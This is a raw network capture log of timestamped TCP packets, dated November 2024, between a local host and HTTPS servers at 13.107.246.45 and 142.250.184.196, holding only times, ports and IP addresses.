Nov 16, 2024 20:12:57.557012081 CET	443	49804	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.558726072 CET	49804	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.558763027 CET	49804	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.558767080 CET	443	49804	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.558777094 CET	49804	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.558779955 CET	443	49804	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.560579062 CET	49817	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.560604095 CET	443	49817	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:57.560672998 CET	49817	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.560806990 CET	49817	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:57.560831070 CET	443	49817	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.254838943 CET	443	49812	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.287555933 CET	443	49815	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.287806988 CET	443	49817	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.292222023 CET	49812	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.292253971 CET	443	49812	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.292740107 CET	49812	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.292746067 CET	443	49812	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.293176889 CET	49815	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.293195009 CET	443	49815	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.293559074 CET	49815	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.293565035 CET	443	49815	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.293804884 CET	49817	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.293884039 CET	443	49817	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.294575930 CET	49817	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.294590950 CET	443	49817	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.295994997 CET	443	49814	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.296418905 CET	49814	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.296435118 CET	443	49814	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.296823978 CET	49814	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.296829939 CET	443	49814	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.298624992 CET	443	49816	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.298964977 CET	49816	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.299046040 CET	443	49816	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.299371958 CET	49816	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.299387932 CET	443	49816	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.417916059 CET	443	49812	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.418067932 CET	443	49812	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.418171883 CET	49812	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.419807911 CET	443	49817	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.419883013 CET	443	49817	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.419935942 CET	49817	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.420084000 CET	49812	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.420104027 CET	443	49812	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.420115948 CET	49812	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.420120955 CET	443	49812	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.421148062 CET	443	49815	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.421305895 CET	443	49815	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.421358109 CET	49815	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.423553944 CET	49815	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.423571110 CET	443	49815	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.423604012 CET	49815	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.423610926 CET	443	49815	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.424870014 CET	49817	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.424870014 CET	49817	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.424904108 CET	443	49817	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.424927950 CET	443	49817	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.426333904 CET	443	49814	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.426630974 CET	443	49814	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.426788092 CET	49814	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.426981926 CET	49814	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.426990032 CET	443	49814	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.427041054 CET	49814	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.427045107 CET	443	49814	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.428842068 CET	49821	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.428898096 CET	443	49821	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.428988934 CET	49821	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.429769993 CET	443	49816	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.429867029 CET	443	49816	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.429935932 CET	49816	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.431005955 CET	49822	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.431037903 CET	443	49822	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.431102037 CET	49822	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.431250095 CET	49821	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.431277990 CET	443	49821	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.432898045 CET	49823	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.432919025 CET	443	49823	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.432984114 CET	49823	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.433166981 CET	49823	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.433190107 CET	443	49823	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.433223009 CET	49816	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.433223963 CET	49816	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.433268070 CET	443	49816	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.433296919 CET	443	49816	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.434073925 CET	49824	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.434077024 CET	49822	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.434096098 CET	443	49822	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.434103966 CET	443	49824	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.434149981 CET	49824	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.434222937 CET	49824	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.434232950 CET	443	49824	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.437500000 CET	49825	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.437565088 CET	443	49825	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:58.437640905 CET	49825	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.437767982 CET	49825	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:58.437796116 CET	443	49825	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.160660982 CET	443	49823	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.162976027 CET	49823	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.163058043 CET	443	49823	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.163470984 CET	49823	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.163486958 CET	443	49823	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.185129881 CET	443	49822	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.186014891 CET	49822	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.186059952 CET	443	49822	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.186453104 CET	49822	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.186460018 CET	443	49822	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.193037987 CET	443	49825	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.193787098 CET	49825	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.193865061 CET	443	49825	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.194190025 CET	49825	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.194209099 CET	443	49825	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.201478004 CET	443	49821	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.204327106 CET	49821	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.204363108 CET	443	49821	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.204767942 CET	49821	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.204781055 CET	443	49821	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.289522886 CET	443	49823	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.289612055 CET	443	49823	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.289729118 CET	49823	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.315205097 CET	443	49822	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.315371037 CET	443	49822	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.315468073 CET	49822	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.322515965 CET	443	49825	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.322650909 CET	443	49825	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.322751999 CET	49825	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.339601994 CET	443	49821	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.339737892 CET	443	49821	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.343765974 CET	49821	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.363852024 CET	443	49824	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.418668032 CET	49824	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.429666042 CET	443	49763	142.250.184.196	192.168.2.4
Nov 16, 2024 20:12:59.429821014 CET	443	49763	142.250.184.196	192.168.2.4
Nov 16, 2024 20:12:59.429928064 CET	49763	443	192.168.2.4	142.250.184.196
Nov 16, 2024 20:12:59.510960102 CET	49824	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.510976076 CET	443	49824	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.511471987 CET	49824	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.511476994 CET	443	49824	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.511692047 CET	49823	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.511693001 CET	49823	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.511760950 CET	443	49823	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.511795998 CET	443	49823	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.511823893 CET	49821	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.511825085 CET	49821	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.511840105 CET	443	49821	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.511863947 CET	443	49821	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.513511896 CET	49822	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.513511896 CET	49822	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.513545036 CET	443	49822	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.513560057 CET	443	49822	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.514095068 CET	49825	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.514095068 CET	49825	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.514163017 CET	443	49825	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.514195919 CET	443	49825	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.525907993 CET	49763	443	192.168.2.4	142.250.184.196
Nov 16, 2024 20:12:59.525973082 CET	443	49763	142.250.184.196	192.168.2.4
Nov 16, 2024 20:12:59.530726910 CET	49832	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.530761957 CET	443	49832	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.531800032 CET	49832	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.534845114 CET	49832	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.534862041 CET	443	49832	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.535809994 CET	49834	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.535820961 CET	443	49834	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.535876036 CET	49834	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.535995960 CET	49834	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.536005020 CET	443	49834	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.537307978 CET	49835	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.537350893 CET	443	49835	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.537627935 CET	49835	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.538300037 CET	49836	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.538341999 CET	443	49836	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.538402081 CET	49836	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.538480043 CET	49835	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.538501978 CET	443	49835	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.538665056 CET	49836	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.538681984 CET	443	49836	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.644994020 CET	443	49824	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.645072937 CET	443	49824	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.645127058 CET	49824	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.645981073 CET	49824	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.646003008 CET	443	49824	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.646013975 CET	49824	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.646019936 CET	443	49824	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.654243946 CET	49839	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.654330015 CET	443	49839	13.107.246.45	192.168.2.4
Nov 16, 2024 20:12:59.654414892 CET	49839	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.655678988 CET	49839	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:12:59.655715942 CET	443	49839	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.262819052 CET	443	49835	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.262860060 CET	443	49836	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.263344049 CET	49835	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.263364077 CET	443	49835	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.263838053 CET	49835	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.263844013 CET	443	49835	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.263938904 CET	49836	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.263977051 CET	443	49836	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.264405012 CET	49836	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.264411926 CET	443	49836	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.274717093 CET	443	49832	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.274903059 CET	443	49834	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.275161982 CET	49832	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.275227070 CET	443	49832	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.275286913 CET	49834	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.275321960 CET	443	49834	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.275650978 CET	49832	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.275661945 CET	443	49832	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.275711060 CET	49834	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.275722980 CET	443	49834	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.391277075 CET	443	49836	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.391515970 CET	443	49836	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.391607046 CET	49836	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.391715050 CET	443	49835	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.391875029 CET	443	49835	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.391931057 CET	49835	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.392008066 CET	49835	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.392008066 CET	49835	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.392050028 CET	443	49835	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.392080069 CET	443	49835	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.394231081 CET	49836	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.394248009 CET	443	49836	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.394260883 CET	49836	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.394268036 CET	443	49836	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.396414995 CET	49842	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.396461010 CET	443	49842	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.396549940 CET	49842	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.396766901 CET	49842	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.396800041 CET	443	49842	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.397644997 CET	49843	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.397738934 CET	443	49843	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.397838116 CET	49843	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.397944927 CET	49843	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.397972107 CET	443	49843	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.401339054 CET	443	49839	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.401715040 CET	49839	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.401798010 CET	443	49839	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.402175903 CET	49839	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.402190924 CET	443	49839	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.404308081 CET	443	49832	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.404505014 CET	443	49832	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.404575109 CET	49832	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.404623985 CET	49832	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.404623985 CET	49832	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.404649973 CET	443	49832	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.404671907 CET	443	49832	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.406650066 CET	49844	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.406703949 CET	443	49844	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.406784058 CET	49844	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.406897068 CET	49844	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.406913042 CET	443	49844	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.432445049 CET	443	49834	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.432656050 CET	443	49834	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.432720900 CET	49834	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.433583021 CET	49834	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.433600903 CET	443	49834	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.433624029 CET	49834	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.433634996 CET	443	49834	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.435328007 CET	49845	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.435349941 CET	443	49845	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.435415030 CET	49845	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.435519934 CET	49845	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.435549021 CET	443	49845	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.531120062 CET	443	49839	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.531275988 CET	443	49839	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.531438112 CET	49839	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.556792974 CET	49839	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.556792974 CET	49839	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.556860924 CET	443	49839	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.556900024 CET	443	49839	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.892121077 CET	49851	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.892163992 CET	443	49851	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:00.892297983 CET	49851	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.900182009 CET	49851	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:00.900199890 CET	443	49851	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.129266977 CET	443	49843	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.129755974 CET	49843	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.129792929 CET	443	49843	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.130283117 CET	49843	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.130289078 CET	443	49843	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.132081032 CET	443	49844	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.132467985 CET	49844	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.132543087 CET	443	49844	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.132873058 CET	49844	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.132889032 CET	443	49844	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.147185087 CET	443	49842	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.148014069 CET	49842	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.148041010 CET	443	49842	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.148423910 CET	49842	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.148430109 CET	443	49842	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.186669111 CET	443	49845	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.190500021 CET	49845	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.190530062 CET	443	49845	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.191236019 CET	49845	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.191241980 CET	443	49845	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.262828112 CET	443	49843	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.262922049 CET	443	49843	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.262959957 CET	443	49844	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.263113976 CET	49843	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.263118982 CET	443	49844	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.263259888 CET	49843	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.263282061 CET	443	49843	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.263313055 CET	49843	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.263319969 CET	443	49843	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.263320923 CET	49844	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.264031887 CET	49844	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.264046907 CET	443	49844	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.264072895 CET	49844	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.264080048 CET	443	49844	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.266839981 CET	49856	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.266860008 CET	49857	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.266871929 CET	443	49857	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.266872883 CET	443	49856	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.266951084 CET	49856	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.266952038 CET	49857	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.267082930 CET	49857	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.267098904 CET	49856	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.267102957 CET	443	49857	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.267106056 CET	443	49856	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.279562950 CET	443	49842	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.279727936 CET	443	49842	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.279833078 CET	49842	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.279979944 CET	49842	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.280025005 CET	443	49842	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.280056000 CET	49842	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.280072927 CET	443	49842	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.282284975 CET	49858	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.282309055 CET	443	49858	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.286158085 CET	49858	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.286328077 CET	49858	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.286343098 CET	443	49858	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.319901943 CET	443	49845	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.319956064 CET	443	49845	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.320108891 CET	49845	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.320323944 CET	49845	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.320339918 CET	443	49845	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.320359945 CET	49845	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.320365906 CET	443	49845	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.324527025 CET	49861	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.324611902 CET	443	49861	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:01.325470924 CET	49861	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.325751066 CET	49861	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:01.325789928 CET	443	49861	13.107.246.45	192.168.2.4
